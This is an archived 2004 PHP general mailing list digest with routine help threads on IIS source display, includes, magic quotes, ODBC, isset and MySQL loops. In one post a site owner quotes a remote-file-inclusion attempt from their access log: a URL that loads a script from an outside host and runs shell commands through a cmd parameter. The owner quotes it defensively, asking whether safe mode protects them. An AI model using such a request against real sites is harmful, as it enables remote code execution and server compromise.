Re: [PHP] phps and iis

2004-02-15 Thread Marek Kilimajer
Anders Gjermshus wrote:
Hi.

 

Is it possible to get IIS 6 to show php sources. ( phps files )

And how do I do that, I have not found anything about it on php.net or
www.google.com  

 

Regards

anders

Is it possible to set a custom 404 handler in IIS? Than you can set it 
to a php page, in the php page parse the request URI and highlight_file().

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php


php-general Digest 15 Feb 2004 10:11:54 -0000 Issue 2591

2004-02-15 Thread php-general-digest-help

php-general Digest 15 Feb 2004 10:11:54 - Issue 2591

Topics (messages 177715 through 177725):

Re: phps and iis
177715 by: Anders Gjermshus
177722 by: John W. Holmes
177725 by: Marek Kilimajer

include result from script in midle of other script
177716 by: Boneripper
177717 by: Adam Bregenzer
177719 by: Marek Kilimajer

Apache crashes on windows XP / PHP & MySQL
177718 by: Johan Kok
177721 by: Manuel Vázquez Acosta

Re: Another preg question
177720 by: Hans Juergen von Lengerke

Question about php "forwarding" to javascript
177723 by: Peter Andersson
177724 by: Ammar Ibrahim

Administrivia:

To subscribe to the digest, e-mail:
[EMAIL PROTECTED]

To unsubscribe from the digest, e-mail:
[EMAIL PROTECTED]

To post to the list, e-mail:
[EMAIL PROTECTED]


--
--- Begin Message ---
I have installed php on my iis server. What I'm looking for is how to get
php sources to work on IIS. Like phps files.

-Opprinnelig melding-
Fra: zerof [mailto:[EMAIL PROTECTED] 
Sendt: 14. februar 2004 21:41
Til: [EMAIL PROTECTED]
Emne: [PHP] Re: phps and iis

It is possible:
http://www.macromedia.com/devnet/mx/dreamweaver/articles/php_iis.html
-
zerof
-
"Anders Gjermshus" <[EMAIL PROTECTED]> escreveu na mensagem
news:[EMAIL PROTECTED]
> Is it possible to get IIS 6 to show php sources. ( phps files )
---

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php
--- End Message ---
--- Begin Message ---
Anders Gjermshus wrote:

Is it possible to get IIS 6 to show php sources. ( phps files )
No. I've never seen any way to do this with IIS.

--
---John Holmes...
Amazon Wishlist: www.amazon.com/o/registry/3BEXC84AB3A5E/

php|architect: The Magazine for PHP Professionals – www.phparch.com
--- End Message ---
--- Begin Message ---
Anders Gjermshus wrote:
Hi.

 

Is it possible to get IIS 6 to show php sources. ( phps files )

And how do I do that, I have not found anything about it on php.net or
www.google.com  

 

Regards

anders

Is it possible to set a custom 404 handler in IIS? Than you can set it 
to a php page, in the php page parse the request URI and highlight_file().
--- End Message ---
--- Begin Message ---
hi,

im trying to do this:
...

';
else include ("./5_grafico_total.php");?>

...

and it works perfectly, BUT

if i wanna send vars with GET like:
...

';
else include ("./5_grafico_total.php?aVar=aValue");?>

...
it doesnt work!

someone has any ideas?

tkx in advance.

-- 

Herberto Graça.
_
E-mail : [EMAIL PROTECTED]
MSN : [EMAIL PROTECTED]
HomePage : http://herbertograca.no-ip.org

É devido à velocidade da luz ser mais rápida que a do som que
certas pessoas parecem inteligentes antes de abrirem a boca!

It's because the speed of light is greater than the speed of sound that
some people look intelligent before they open their mouth!

isik hizi ses hizindan fazla oldugundan, bazi insanlar
agizlarini acmadan once zekiymis gibi gorunuyorlar!


--- End Message ---
--- Begin Message ---
On Sat, 2004-02-14 at 15:46, Boneripper wrote:
>  src="./5_grafico_total.php?aVar=aValue">';
> else include ("./5_grafico_total.php?aVar=aValue");?>

Using include literally inserts the contents of the file into your
code.  One way to achieve what you are looking for is to set the
variables you want to pass as a query string before including the
script:
if ($_SESSION['valores_relativos']) {
  echo '';
} else {
  $_GET[aVar] = 'aValue';
  include ("./5_grafico_total.php");
}

If you rely on register globals you would want to set the variables
directly like so:
if ($_SESSION['valores_relativos']) {
  echo '';
} else {
  $aVar = 'aValue';
  include ("./5_grafico_total.php");
}

-- 
Adam Bregenzer
[EMAIL PROTECTED]
http://adam.bregenzer.net/
--- End Message ---
--- Begin Message ---
Boneripper wrote:
hi,

im trying to do this:
...

';
else include ("./5_grafico_total.php");?>

...
and it works perfectly, BUT

if i wanna send vars with GET like:
...

';
else include ("./5_grafico_total.php?aVar=aValue");?>

include cannot pass variables as in get request, set the variables first 
and then include the file:

';
else {
$_GET['aVar'] = 'aValue';
include ("./5_grafico_total.php");?>
}
?>
--- End Message ---
--- Begin Message ---
I have the following software:

1. Apache 2.0.48 (tried with and without SSL)
2. PHP - Latest version
3. MySQL - latest version
Running on Microsoft XP

The problem that I have is that when accessing MySQL with PHP cause 
Apache to crash, restart, crash etc

Could anybody help me please?

Regards
Johan Kok
--- End Message ---
--- Begin Message ---
Does this happens *everytime* you try to connect to MySQL using PHP?
Does PHP is running as module or cgi?

I've been using WinXP, PHP and MySQL. Although, I'm n

[PHP] Need help with output from form to .txt file

2004-02-15 Thread Kristers hotmail
Hi!!

When i send data from a form and there is some special characters like ' " \ php seems 
to add an extra \ before every special character in the transfer from the form to the 
point when I put the data in the .txt file where i store it.

It is a guestbook I'm using the script for so it is a bit anoying. I also have a 
guestbook where I use MySQL as database and I do not have the same problem there.


Esample:

I'm sendeing "hello" from the form

The result I get in my gb.txt file is \"hello\"

Why is that??

Can anyone help me

Regards

Krister

[PHP] Re: Need help with output from form to .txt file

2004-02-15 Thread Thorben
Kristers Hotmail wrote:

Hi!!

When i send data from a form and there is some special characters like ' " \ php seems to add an extra \ before every special character in the transfer from the form to the point when I put the data in the .txt file where i store it.

It is a guestbook I'm using the script for so it is a bit anoying. I also have a guestbook where I use MySQL as database and I do not have the same problem there.

Esample:

I'm sendeing "hello" from the form

The result I get in my gb.txt file is \"hello\"

Why is that??

Can anyone help me

Regards

Krister
Hi,
there is a function which delete the backslahes.
Before you put the text in the file, do
stripslashes($yourstring)

--
 - RPG Genesis 2004 -
- Make your dreams believable -
   http://www.rpg-genesis.de

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php


Re: [PHP] Need help with output from form to .txt file

2004-02-15 Thread Adam Bregenzer
On Sun, 2004-02-15 at 05:59, Kristers hotmail wrote:
> I'm sendeing "hello" from the form
> 
> The result I get in my gb.txt file is \"hello\"

You need to check out magic_quotes[1].  If you do not have access to
php.ini, or want a way to disable it without changing php.ini see my
previous post[2].

[1] http://us4.php.net/ref.info#ini.magic-quotes-gpc
[2] http://marc.theaimsgroup.com/?l=php-general&m=107669185927933&w=2

-- 
Adam Bregenzer
[EMAIL PROTECTED]
http://adam.bregenzer.net/

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Question about php "forwarding" to javascript

2004-02-15 Thread David Otton
On Sun, 15 Feb 2004 07:52:11 +0100 (CET), you wrote:

Could be missing the point here because your question is quite vague.

However...

>I am using a web page that uses the following php code to display the
>contents of a dynamically update webpage:
>
>include("http://.../source.xls);
>?>
>
>Is it possible to "forward" the contents of the code to a javascript?
>eg if the file "source.xls" contains the text "help me" is it possible to
>send that text to a javascript? I am quite stuck here so any help would be
>greatly appreciated.

source.xls just contains a bit of text, right? And you want that to end up
in a Javascript variable?

First, I'd use file_get_contents() or file() to get the contents of
source.xls into a PHP array.

$source = file_get_contents ('http://.../source.xls');

Next, you have to remember that Javascript is just text, the same as HTML.
So you can embed $source into a Javascript block in the same way as you
would embed it into HTML.


function doAlert ()
{
var source = "";
alert (source);
}


Click Me

Apologies for any mistakes in the Javascript, but I'm sure you get the idea.

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] ODBC with SQL Server

2004-02-15 Thread David Otton
On Fri, 13 Feb 2004 12:30:42 +0100, you wrote:

>I have a connectoin ODBC with a SQL Server database. A table has a field of
>type 'nvarchar'. This field contains japanese characters.
>How can I read these japanese characteres? When I read (with: "select name
>from data") only read '?' character.

I've come across this recently when talking to MySQL from a Windows
application. ODBC didn't like transferring 8-bit data - BLOB and TEXT fields
end up as strings of ?.

On Windows, you have to open a seperate stream object (ADO >= 2.5) to
recover the binary data. How that translates to the ODBC library used by
MySQL I have no idea... odbc_binmode() may help, possibly.

Have you considered just using the mssql_* library?

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Re: phps and iis

2004-02-15 Thread zerof
Try starting your browser with:
http://localhost/
-
zerof
http://www.educar.pro.br/PAGES/
-
"Anders Gjermshus" <[EMAIL PROTECTED]> escreveu na mensagem
news:[EMAIL PROTECTED]
> I have installed php on my iis server. What I'm looking for is how to get
> php sources to work on IIS. Like phps files.


-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] phps and iis

2004-02-15 Thread John W. Holmes
Marek Kilimajer wrote:
Anders Gjermshus wrote:

Is it possible to get IIS 6 to show php sources. ( phps files )
>
Is it possible to set a custom 404 handler in IIS? Than you can set it 
to a php page, in the php page parse the request URI and highlight_file().
Good catch; never thought of that. It is possible to have a custom 404, 
although REQUEST_URI isn't created. You end up with a 
$_SERVER['QUERY_STRING'] value of "404;http://coconut/nosuchfile.php";, 
though, which you could parse for the original file name.

--
---John Holmes...
Amazon Wishlist: www.amazon.com/o/registry/3BEXC84AB3A5E/

php|architect: The Magazine for PHP Professionals – www.phparch.com

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php


[PHP] Simple while loop skipping first row of array

2004-02-15 Thread Verdon Vaillancourt
I'm not sure I phrased my subject well, but...

The following is just to build a select menu from a table query result set.
It sort of works, but doesn't return the first row in the result set, ie if
I have the following rows in the table 'cats';

id  title
==
1   Pears
2   Oranges
3   Apples
4   Bananas

echo "";
$result = mysql_query("select * from cats order by title");
$categories = mysql_fetch_array($result);
if ($categories) {
while ($c = mysql_fetch_array($result)) {
echo "$c[title]";
}
}
echo "";


The resulting select menu will only include Bananas, Oranges, Pears.

Am I missing something terribly obvious to one less newbie than me?

TIA, 
Verdon

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Question about php "forwarding" to javascript

2004-02-15 Thread Peter Andersson
Thanks!

It works like a charm!

/peter

> On Sun, 15 Feb 2004 07:52:11 +0100 (CET), you wrote:
>
> Could be missing the point here because your question is quite vague.
>
> However...
>
>>I am using a web page that uses the following php code to display the
>>contents of a dynamically update webpage:
>>
>>>include("http://.../source.xls);
>>?>
>>
>>Is it possible to "forward" the contents of the code to a javascript?
>>eg if the file "source.xls" contains the text "help me" is it possible to
>>send that text to a javascript? I am quite stuck here so any help would
>> be
>>greatly appreciated.
>
> source.xls just contains a bit of text, right? And you want that to end up
> in a Javascript variable?
>
> First, I'd use file_get_contents() or file() to get the contents of
> source.xls into a PHP array.
>
> $source = file_get_contents ('http://.../source.xls');
>
> Next, you have to remember that Javascript is just text, the same as HTML.
> So you can embed $source into a Javascript block in the same way as you
> would embed it into HTML.
>
> 
>   function doAlert ()
>   {
>   var source = "";
>   alert (source);
>   }
> 
>
> Click Me
>
> Apologies for any mistakes in the Javascript, but I'm sure you get the
> idea.
>
>

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] RE: Reading MS Access date/time field in PHP

2004-02-15 Thread YC Nyon
I'm trying to extract the year for a query from a date/time field in MS
Access via PHP.
The data type is Date/Time and formated as Long Integer.
Viewing it in Access "31 December 2003"
Viewing it in PHP without formating "2003-12-31 00:00:00"

I want to create a query based on the year only. I could do it with some
string functions. However, fundamentally, it's not correct.
Anyone can help?

Regards
Nyon

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] Re: Simple while loop skipping first row of array

2004-02-15 Thread André Cerqueira
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1
try:

echo "";
$result = mysql_query("select * from cats order by title");
while ($c = mysql_fetch_array($result)) {
  echo "$c[title]";
}
echo "";


Verdon Vaillancourt wrote:
I'm not sure I phrased my subject well, but...

The following is just to build a select menu from a table query result set.
It sort of works, but doesn't return the first row in the result set, ie if
I have the following rows in the table 'cats';
id  title
==
1   Pears
2   Oranges
3   Apples
4   Bananas
echo "";
$result = mysql_query("select * from cats order by title");
$categories = mysql_fetch_array($result);
if ($categories) {
while ($c = mysql_fetch_array($result)) {
echo "$c[title]";
}
}
echo "";
The resulting select menu will only include Bananas, Oranges, Pears.

Am I missing something terribly obvious to one less newbie than me?

TIA, 
Verdon
-BEGIN PGP SIGNATURE-
Version: GnuPG v1.2.4 (MingW32)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org
iD8DBQFAL631axdA/5C8vH8RAkmqAJwJndx7VZiNRGq/L7EIdDzvwJ6ksgCfT3Rc
Fsl2UFV3LW7k+cFvqzsC+xM=
=EmWf
-END PGP SIGNATURE-
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php


[PHP] isset() question

2004-02-15 Thread Anthony Ritter
The following script is from Kevin Yank's book (Sitepoint).

When I test it _without_ entering a name in the text box and hit submit, the
_next_  page
loads - however the same page should load beacuse of the conditional

if (!isset($name) ):
.

If I replace

!isset()

with

empty()


like

if (empty($name)):

and do not enter a name then the _same_ page loads which is what is supposed
to happen.

Why doesn't the call to !isset() with the negation mark loads the next page
when a name is not entered?

The script predates globals being turned off and it is below.

Thank you.
TR
.





 Sample Page 





  

  
  Please enter your name: 
  
  



  Your name: 

  This paragraph contains a link that passes the name
variable on to the next document.






-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] isset() question

2004-02-15 Thread Richard Davey
Hello Anthony,

Sunday, February 15, 2004, 4:43:12 PM, you wrote:

AR> Why doesn't the call to !isset() with the negation mark loads the next page
AR> when a name is not entered?

Because it's using isset() in the wrong capacity.

isset() does not check to see if a variable HAS a value, it checks to
see if the variable exists.

The variable in the code you posted will always exist, so the use of
isset() is redundant and should be changed for something like empty as
you noted. Stick the following in the top of your code to see:

";
print_r($_GET);
echo "";
?>

I feel the book you're learning from might not be the best out there!
Especially as it uses the horrible if : else : endif notation,
includes code on the same line as the PHP tags themselves and is
teaching you to code with register globals on. Is the book still on
sale? (i.e. did you buy it recently) or was it something you've had
for a while/got 2nd hand?

-- 
Best regards,
 Richard Davey
 http://www.phpcommunity.org/wiki/296.html

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] isset() question

2004-02-15 Thread Anthony Ritter
- Original Message -
From: "Richard Davey" <[EMAIL PROTECTED]>

> Hello Anthony,

> I feel the book you're learning from might not be the best out there!
> Especially as it uses the horrible if : else : endif notation,
> includes code on the same line as the PHP tags themselves and is
> teaching you to code with register globals on. Is the book still on
> sale? (i.e. did you buy it recently) or was it something you've had
> for a while/got 2nd hand?

> Best regards,
>  Richard Davey
>  http://www.phpcommunity.org/wiki/296.html

Thank you for the reply Richard.

Yes. The book is on sale at:

www.sitepoint.com

also, at amazon, b and n, etc.

In fact, it's now in it's second edition by Kevin Yank.

It's not a bad book - quite readable to a newbie like myself - but when I
ran that code it didn't jive with that function call.  To make sure, I
downloaded it from their site and ran it again - and the same thing
happened.

Thank you for your help.

TR






---
[This E-mail scanned for viruses by gonefishingguideservice.com]


-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] isset() question

2004-02-15 Thread Jason Wong
On Monday 16 February 2004 02:30, Richard Davey wrote:

> I feel the book you're learning from might not be the best out there!
> Especially as it uses the horrible if : else : endif notation,
> includes code on the same line as the PHP tags themselves 

What is horrible about that style? IMO doing this:



 [... a bunch of HTML ...]




looks a lot neater than:



 [... a bunch of HTML ...]



But whichever style a book chooses to use should not impact on one's decision 
as to whether it is a good book or not. I have not seen the book in question 
so I've no idea whether I would find it good or bad.

-- 
Jason Wong -> Gremlins Associates -> www.gremlins.biz
Open Source Software Systems Integrators
* Web Design & Hosting * Internet & Intranet Applications Development *
--
Search the list archives before you post
http://marc.theaimsgroup.com/?l=php-general
--
/*
There's another way to survive.  Mutual trust -- and help.
-- Kirk, "Day of the Dove", stardate unknown
*/

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] RE: Reading MS Access date/time field in PHP

2004-02-15 Thread Jason Wong
On Monday 16 February 2004 00:37, YC Nyon wrote:
> I'm trying to extract the year for a query from a date/time field in MS
> Access via PHP.

What you have above and what you have below are different ...

> I want to create a query based on the year only. I could do it with some
> string functions. However, fundamentally, it's not correct.
> Anyone can help?

... for the latter have a look at the Date/Time functions that Access 
provides. For the former, you're saying that:

> Viewing it in PHP without formating "2003-12-31 00:00:00"

It is a format that should be directly usable by strtotime(). Then look at the 
other functions in the chapter "Date and Time functions" to find what you 
need to extract the year.

-- 
Jason Wong -> Gremlins Associates -> www.gremlins.biz
Open Source Software Systems Integrators
* Web Design & Hosting * Internet & Intranet Applications Development *
--
Search the list archives before you post
http://marc.theaimsgroup.com/?l=php-general
--
/*
"How to make a million dollars:  First, get a million dollars."
-- Steve Martin
*/

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] PHP on Apache 2.0.48

2004-02-15 Thread XMG
I know that use of PHP with Apache 2.x.x is
discouraged. I use 1.3.29 for my main site. 
Currently I am doing some testing with SSL
connections and because Apache 2.0.48 is 
already installed on my Redhat 8.0 server
and configured with SSL I have been using 
that (for testing). All my testing is done
using SSL (https://) connections.

I have seen some weird behaviour and am
curious if anyone else has seen something
like this with PHP and Apache 2.x.x 
(the PHP version is 4.2.2, btw).

I have a rather simple page where I fetch
a number of rows from MySQL and put them
in a two dimensional array - the first 
dimenstion corresponds to the row returned
from MySQL and the other dimension holds
the elements of the row. Later when 
displaying the actual html I loop through
the array displaying each row in a 
in a table. 

Sometimes for no reason that I can yet
discern it will stop before displaying 
all of the rows. If I look at the page
source in the browser it just ends and
the rest of the html is not displayed.
It seems rather random. It doesn't stop
in the sample place. Sometimes I get 2-3
rows, sometimes a lot more - no pattern
that I can discern yet.  I am certainly
as capable of writing bugs as anyone
else but can't find any so far. And like
I said it more often than not displays
everything correctly. For what its worth
here is the MySQL code to load the array:

$query = "select pub_id, name1, city, state, added from pubs2 " .
 "order by name1";

$result = mysql_query($query);

$num_rows = mysql_num_rows($result);

if ($result)
{  
  $rw = 0; 
  while ($row = mysql_fetch_array($result, MYSQL_NUM))
  {
$pubs[$rw][0] = $row[0]; // pub_id
$pubs[$rw][1] = $row[1]; // name1
$pubs[$rw][2] = $row[2]; // city
$pubs[$rw][3] = $row[3]; // state
$pubs[$rw][4] = $row[4]; // added
$rw = $rw + 1;
  }
  mysql_free_result($result);
  mysql_close();
}

Then I display it later (it gets a little
'ugly' displaying the rows cause it is wrapping
in my email):

";
  else
echo "";

  echo "{$pubs[$i][1]}"; // 
name1 
  echo "{$pubs[$i][2]}"; // City
  echo "{$pubs[$i][3]}"; // State
  echo "{$pubs[$i][4]}"; // Added

  echo "\r\n";   
}
echo "( $rw records found )\r\n";
?>

// end code

Again I think this is fairly simple code. I am certainly
not trying to do anything tricky. 

I guess I will configure Apache 1.3.29 with SSL if don't
come up with some explanation, but I was curious if anyone
had seen such odd behaviour like this before (not displaying
all of the page).

Thanks in advance for your opinions and advice.

lk
www.theNewAgeSite.com

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] File Injection Bug

2004-02-15 Thread Bc. Radek Krejča
Hello,

  I found very interesting messages in my access log:

  
http://www.cvok.cz/index.php?content=http://linkhacker.info/ilalang23/asu.txt?&cmd=uname%20-a;id;

  It looks as trying of hack. Am I immune, if I have safe mod (because
  asu.txt is php script, which runs function system()).

  thanks

  Radek

-- 
Regards,
 Bc. Radek Krejča
 Starnet, s. r. o.
 [EMAIL PROTECTED]
 http://www.ceskedomeny.cz
 http://www.skdomeny.com
 http://www.starnet.cz
 ICQ: 65895541

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] Variables??

2004-02-15 Thread Alessandro Rodiani










I have a problem. When I call the function phpinfo() I can correctly see the page with the information about the server; but when I use a form to pass some information from a php page to another php page, if I use a print() or an echo() function, I can't see my variables. Why??? Help me please
Thank 
 
Alessandro 







___  IncrediMail - il mondo della posta elettronica si è finalmente evoluto - Clicca Qui

RE: [PHP] Variables??

2004-02-15 Thread Julien Wadin
give the corresponding source code
are you using POST or GET ? What about REGISTER_GLOBALS ???

PS : NO MAILS IN HTML ON THE LIST, PLEASE


-Message d'origine-
De : Alessandro Rodiani [mailto:[EMAIL PROTECTED]
Envoyé : dimanche 15 février 2004 21:29
À : [EMAIL PROTECTED]; [EMAIL PROTECTED]
Objet : [PHP] Variables??


I have a problem. When I call the function phpinfo() I can correctly see the
page with the information about the server; but when I use a form to pass
some information from a php page to another php page, if I use a print() or
an echo() function, I can't see my variables. Why??? Help me please
Thank

Alessandro




___
  IncrediMail - il mondo della posta elettronica si è finalmente evoluto -
Clicca Qui

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Simple while loop skipping first row of array

2004-02-15 Thread Verdon Vaillancourt
That did the trick, and I learned something new. thanks :)
verdon

On 2/15/04 11:38 AM, "Duncan" <[EMAIL PROTECTED]> wrote:

> Problem is, that the first row is already in the $categories variable -
> since you have the first mysql_fetch_array call there.
> change it to:
> 
> echo "";
> $result = mysql_query("select * from cats order by title");
> while ($c = mysql_fetch_array($result)) {
>  echo "$c[title]";
> }
> echo "";
> 
> 
> ...and it should work just fine.
> 
> Verdon Vaillancourt wrote:
> 
>> I'm not sure I phrased my subject well, but...
>> 
>> The following is just to build a select menu from a table query result set.
>> It sort of works, but doesn't return the first row in the result set, ie if
>> I have the following rows in the table 'cats';
>> 
>> id  title
>> ==
>> 1   Pears
>> 2   Oranges
>> 3   Apples
>> 4   Bananas
>> 
>> echo "";
>> $result = mysql_query("select * from cats order by title");
>> $categories = mysql_fetch_array($result);
>> if ($categories) {
>>while ($c = mysql_fetch_array($result)) {
>>echo "$c[title]";
>>}
>> }
>> echo "";
>> 
>> 
>> The resulting select menu will only include Bananas, Oranges, Pears.
>> 
>> Am I missing something terribly obvious to one less newbie than me?
>> 
>> TIA, 
>> Verdon
>> 
>>  
>> 
> 
> 
> 

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] cli input and screen question(s)

2004-02-15 Thread Matthias Nothhaft
Hi Adam Bregenzer, you wrote:
On Fri, 2004-02-13 at 18:25, Matthias Nothhaft wrote:

The other problem is: I would like to draw a screen
like midnight commander does. Is there a way to get that
work with PHP ?


Ahh, sounds like a Slackware fan. :)
don't really know what it is. I just wanna
write some stuff to simplify "daily administration"
on my Debian machines.
And I like the idea to make this work with PHP ;-)
You want to look at ncurses[1] in PHP.  This lets you draw on a screen. 
It does require a decent terminal interface but that should not be a
problem.  Also readline[2] may help you with reading input.

[1] http://www.php.net/ncurses
[2] http://www.php.net/readline
Oh, that seems to be the things I'm looking for,
thanks a lot!
Regards,
Matthias
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php


[PHP] Re: PHP on Apache 2.0.48

2004-02-15 Thread Freedomware
Xmg wrote:

"I know that use of PHP with Apache 2.x.x is discouraged."

Wow, thanks for the tip. I'm using Apache 2 and have had no problems, 
but I've only done very basic things with MySQL and PHP so far. I hope I 
don't have to switch to Apache 1.3 when I get in a little deeper!

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php


Re: [PHP] Another preg question

2004-02-15 Thread Al
Thanks for the feedback.

Here was my problem; I misunderstood how the "+" worked.  It only 
applies to the last "\n", not both "n\n".



Hans Juergen Von Lengerke wrote:

From: Al <[EMAIL PROTECTED]>

$text= preg_replace("/\n\n+/", "\n\n", $text);
   // remove excess This doesn't seem to do anything.
   



Strange, your code works for me:

[EMAIL PROTECTED]:~ > cat foo.php

[EMAIL PROTECTED]:~ > php ./foo.php
before:
===
foo


bar
===
after:
===
foo
bar
===
[EMAIL PROTECTED]:~ > php -v
PHP 4.3.4 (cli) (built: Feb 12 2004 17:42:41)
Copyright (c) 1997-2003 The PHP Group
Zend Engine v1.3.0, Copyright (c) 1998-2003 Zend
Technologies
[EMAIL PROTECTED]:~ >
 

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php


[PHP] php as cgi with static libraries?

2004-02-15 Thread Marten Lehmann
Hello,

when I'm building php as a cgi-module, a 'ldd php' shows a list of some 
libraries, that are linked in dynamically. How can I link some of them 
statically into the php-binary? I can't rely of external libs in some cases.

Regards
Marten
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php


php-general Digest 15 Feb 2004 22:17:39 -0000 Issue 2592

2004-02-15 Thread php-general-digest-help

php-general Digest 15 Feb 2004 22:17:39 - Issue 2592

Topics (messages 177726 through 177751):

Need help with output from form to .txt file
177726 by: Kristers hotmail
177727 by: Thorben
177728 by: Thorben
177729 by: Adam Bregenzer

Re: Question about php "forwarding" to javascript
177730 by: David Otton
177735 by: Peter Andersson

Re: ODBC with SQL Server
177731 by: David Otton

Re: phps and iis
177732 by: zerof
177733 by: John W. Holmes

Simple while loop skipping first row of array
177734 by: Verdon Vaillancourt
177737 by: André Cerqueira
177747 by: Verdon Vaillancourt

Re: Reading MS Access date/time field in PHP
177736 by: YC Nyon
177742 by: Jason Wong

isset() question
177738 by: Anthony Ritter
177739 by: Richard Davey
177740 by: Anthony Ritter
177741 by: Jason Wong

PHP on Apache 2.0.48
177743 by: XMG
177749 by: Freedomware

File Injection Bug
177744 by: Bc. Radek Krejèa

Variables??
177745 by: Alessandro Rodiani
177746 by: Julien Wadin

Re: cli input and screen question(s)
177748 by: Matthias Nothhaft

Re: Another preg question
177750 by: Al

php as cgi with static libraries?
177751 by: Marten Lehmann

Administrivia:

To subscribe to the digest, e-mail:
[EMAIL PROTECTED]

To unsubscribe from the digest, e-mail:
[EMAIL PROTECTED]

To post to the list, e-mail:
[EMAIL PROTECTED]


--
--- Begin Message ---
Hi!!

When i send data from a form and there is some special characters like ' " \ php seems 
to add an extra \ before every special character in the transfer from the form to the 
point when I put the data in the .txt file where i store it.

It is a guestbook I'm using the script for so it is a bit anoying. I also have a 
guestbook where I use MySQL as database and I do not have the same problem there.


Esample:

I'm sendeing "hello" from the form

The result I get in my gb.txt file is \"hello\"

Why is that??

Can anyone help me

Regards

Krister--- End Message ---
--- Begin Message ---
Kristers Hotmail wrote:

Hi!!

When i send data from a form and there is some special characters like ' " \ php seems to add an extra \ before every special character in the transfer from the form to the point when I put the data in the .txt file where i store it.

It is a guestbook I'm using the script for so it is a bit anoying. I also have a guestbook where I use MySQL as database and I do not have the same problem there.

Esample:

I'm sendeing "hello" from the form

The result I get in my gb.txt file is \"hello\"

Why is that??

Can anyone help me

Regards

Krister
Hi,
there is a function which delete the backslahes.
Before you put the text in the file, do
stripslashes($yourstring)

--
 - RPG Genesis 2004 -
- Make your dreams believable -
   http://www.rpg-genesis.de
--- End Message ---
--- Begin Message ---
Kristers Hotmail wrote:

Hi!!

When i send data from a form and there is some special characters like ' " \ php seems to add an extra \ before every special character in the transfer from the form to the point when I put the data in the .txt file where i store it.

It is a guestbook I'm using the script for so it is a bit anoying. I also have a guestbook where I use MySQL as database and I do not have the same problem there.

Esample:

I'm sendeing "hello" from the form

The result I get in my gb.txt file is \"hello\"

Why is that??

Can anyone help me

Regards

Krister
Hi,
there is a function which delete the backslahes.
Before you put the text in the file, do
stripslashes($yourstring)

--
 - RPG Genesis 2004 -
- Make your dreams believable -
   http://www.rpg-genesis.de
--- End Message ---
--- Begin Message ---
On Sun, 2004-02-15 at 05:59, Kristers hotmail wrote:
> I'm sendeing "hello" from the form
> 
> The result I get in my gb.txt file is \"hello\"

You need to check out magic_quotes[1].  If you do not have access to
php.ini, or want a way to disable it without changing php.ini see my
previous post[2].

[1] http://us4.php.net/ref.info#ini.magic-quotes-gpc
[2] http://marc.theaimsgroup.com/?l=php-general&m=107669185927933&w=2

-- 
Adam Bregenzer
[EMAIL PROTECTED]
http://adam.bregenzer.net/
--- End Message ---
--- Begin Message ---
On Sun, 15 Feb 2004 07:52:11 +0100 (CET), you wrote:

Could be missing the point here because your question is quite vague.

However...

>I am using a web page that uses the following php code to display the
>contents of a dynamically update webpage:
>
>include("http://.../source.xls);
>?>
>
>Is it possible to "forward" the contents of the code to a javascript?
>eg if the file "source.xls" contains the text "help me" is it possible to
>send that text to a javascript? I am quite stuck here so any help would be
>greatly appreciated.

source.xls just contains a bit of tex

[PHP] Re: Simple while loop skipping first row of array

2004-02-15 Thread André Cerqueira
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1
just fixing something hehe

echo "";
$result = mysql_query("select * from cats order by title");
if ($result) {
  while ($c = mysql_fetch_array($result)) {
echo "$c[title]";
  }
}
echo "";


André cerqueira wrote:
try:

echo "";
$result = mysql_query("select * from cats order by title");
while ($c = mysql_fetch_array($result)) {
  echo "$c[title]";
}
echo "";


Verdon Vaillancourt wrote:

I'm not sure I phrased my subject well, but...

The following is just to build a select menu from a table query result 
set.
It sort of works, but doesn't return the first row in the result set, 
ie if
I have the following rows in the table 'cats';

id  title
==
1   Pears
2   Oranges
3   Apples
4   Bananas
echo "";
$result = mysql_query("select * from cats order by title");
$categories = mysql_fetch_array($result);
if ($categories) {
while ($c = mysql_fetch_array($result)) {
echo "$c[title]";
}
}
echo "";
The resulting select menu will only include Bananas, Oranges, Pears.

